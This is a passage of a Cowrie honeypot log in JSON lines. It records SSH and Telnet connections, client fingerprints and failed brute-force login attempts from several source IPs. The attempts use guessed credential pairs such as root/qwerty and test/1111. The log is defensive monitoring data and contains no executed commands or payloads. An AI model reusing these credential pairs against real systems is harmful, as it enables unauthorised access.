{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:17.882142Z","src_ip":"45.153.34.195","session":"9462a72e0b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.84219145774841,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:18.164848Z","src_ip":"128.199.8.54","session":"5f73a42e372b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:18.412199Z","src_ip":"45.153.34.195","session":"9462a72e0b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:18.722899Z","src_ip":"91.92.40.36","session":"88f3a7676d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:19.496221Z","src_ip":"45.153.34.195","session":"9462a72e0b7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":49946,"dst_ip":"10.17.0.5","dst_port":22,"session":"53f5d2a3adf1","protocol":"ssh","message":"New connection: 45.153.34.195:49946 (10.17.0.5:22) [session: 53f5d2a3adf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:20.719388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:20.723438Z","src_ip":"45.153.34.195","session":"53f5d2a3adf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56980,"dst_ip":"10.17.0.5","dst_port":22,"session":"80a9dcc2ed61","protocol":"ssh","message":"New connection: 91.92.40.36:56980 (10.17.0.5:22) [session: 80a9dcc2ed61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:20.804199Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:20.818396Z","src_ip":"45.153.34.195","session":"53f5d2a3adf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matias","password":"matias","message":"login attempt [matias/matias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:21.113234Z","src_ip":"45.153.34.195","session":"53f5d2a3adf1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:21.582037Z","src_ip":"91.92.40.36","session":"80a9dcc2ed61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:21.584908Z","src_ip":"91.92.40.36","session":"80a9dcc2ed61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:22.200545Z","src_ip":"45.153.34.195","session":"53f5d2a3adf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29908,"dst_ip":"10.17.0.5","dst_port":22,"session":"60787190018a","protocol":"ssh","message":"New connection: 45.153.34.195:29908 (10.17.0.5:22) [session: 60787190018a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:23.703727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:23.713127Z","src_ip":"45.153.34.195","session":"60787190018a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:23.807638Z","src_ip":"45.153.34.195","session":"60787190018a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spiderman","message":"login attempt [root/spiderman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:24.119699Z","src_ip":"45.153.34.195","session":"60787190018a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:25.203973Z","src_ip":"45.153.34.195","session":"60787190018a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29918,"dst_ip":"10.17.0.5","dst_port":22,"session":"5180a7994f99","protocol":"ssh","message":"New connection: 45.153.34.195:29918 (10.17.0.5:22) [session: 5180a7994f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:26.407403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:26.424755Z","src_ip":"45.153.34.195","session":"5180a7994f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:26.609360Z","src_ip":"91.92.40.36","session":"80a9dcc2ed61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:26.670108Z","src_ip":"45.153.34.195","session":"5180a7994f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1111","message":"login attempt [test/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:27.126695Z","src_ip":"45.153.34.195","session":"5180a7994f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34394,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa4c5d56133c","protocol":"ssh","message":"New connection: 91.92.40.36:34394 (10.17.0.5:22) [session: aa4c5d56133c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:27.323051Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:28.212495Z","src_ip":"45.153.34.195","session":"5180a7994f99","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:29.098591Z","src_ip":"91.92.40.36","session":"aa4c5d56133c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:29.100943Z","src_ip":"91.92.40.36","session":"aa4c5d56133c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:29.305518Z","src_ip":"91.92.40.36","session":"80a9dcc2ed61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29920,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a5797d26d60","protocol":"ssh","message":"New connection: 45.153.34.195:29920 (10.17.0.5:22) [session: 3a5797d26d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:29.442739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:29.447146Z","src_ip":"45.153.34.195","session":"3a5797d26d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:29.544082Z","src_ip":"45.153.34.195","session":"3a5797d26d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"root","message":"login attempt [appuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:29.803462Z","src_ip":"45.153.34.195","session":"3a5797d26d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.04991030693054,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:30.210785Z","src_ip":"128.199.8.54","session":"ca4e4838459f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:30.895520Z","src_ip":"45.153.34.195","session":"3a5797d26d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":35354,"dst_ip":"159.203.135.109","dst_port":22,"session":"90ef410a4513","protocol":"ssh","message":"New connection: 103.27.238.116:35354 (159.203.135.109:22) [session: 90ef410a4513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:31.137798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:31.141973Z","src_ip":"103.27.238.116","session":"90ef410a4513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:31.416061Z","src_ip":"103.27.238.116","session":"90ef410a4513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prophet","message":"login attempt [root/prophet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:32.241042Z","src_ip":"103.27.238.116","session":"90ef410a4513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":55418,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10b86b12986","protocol":"ssh","message":"New connection: 45.153.34.195:55418 (10.17.0.5:22) [session: d10b86b12986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:32.445456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:32.450087Z","src_ip":"45.153.34.195","session":"d10b86b12986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],